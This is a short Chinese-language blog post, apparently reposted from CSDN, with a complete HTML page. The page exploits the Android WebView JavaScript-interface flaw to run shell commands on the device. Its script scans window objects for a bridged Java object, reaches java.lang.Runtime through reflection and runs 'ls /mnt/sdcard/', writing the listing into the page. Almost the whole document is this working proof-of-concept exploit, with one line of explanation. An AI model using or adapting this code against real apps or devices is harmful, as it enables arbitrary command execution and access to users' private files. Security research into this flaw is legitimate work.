http://blog.csdn.net/leehong2005/article/details/11808557/
webview调用以下文件，就可以打印sdcard 文件名
1 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
2 <html xmlns="http://www.w3.org/1999/xhtml">
3 <head>
4 <title> new document </title>
5 <script >
6 var i=0;
7 function getContents(inputStream) {
8 var contents = ""+i;
9 var b = inputStream.read();
10 var i = 1;
11 while(b != -1) {
12 var bString = String.fromCharCode(b);
13 contents += bString;
14 contents += "\n"
15 b = inputStream.read();
16 }
17 i=i+1;
18 return contents;
19 }
20
21 function execute(cmdArgs){
22 for (var obj in window) {
23 console.log(obj);
24 if(window[obj]!=null)
25 if ("getClass" in window[obj]) {
26 console.log("come to here");
27 //alert(obj);.
28 return window[obj].getClass().forName("java.lang.Runtime").
29 getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
30 }
31 }
32 }
33 var p = execute(["ls","/mnt/sdcard/"]);
34 console.log("come to here 2");
35
36 document.write(getContents(p.getInputStream()));
37 </script>
38 <meta name="generator" content="editplus" />
39 <meta name="author" content="" />
40 <meta name="keywords" content="" />
41 <meta name="description" content="" />
42 </head>
43
44 <body>
45
46 </body>
47 </html>
时间： 2024-10-12 10:37:10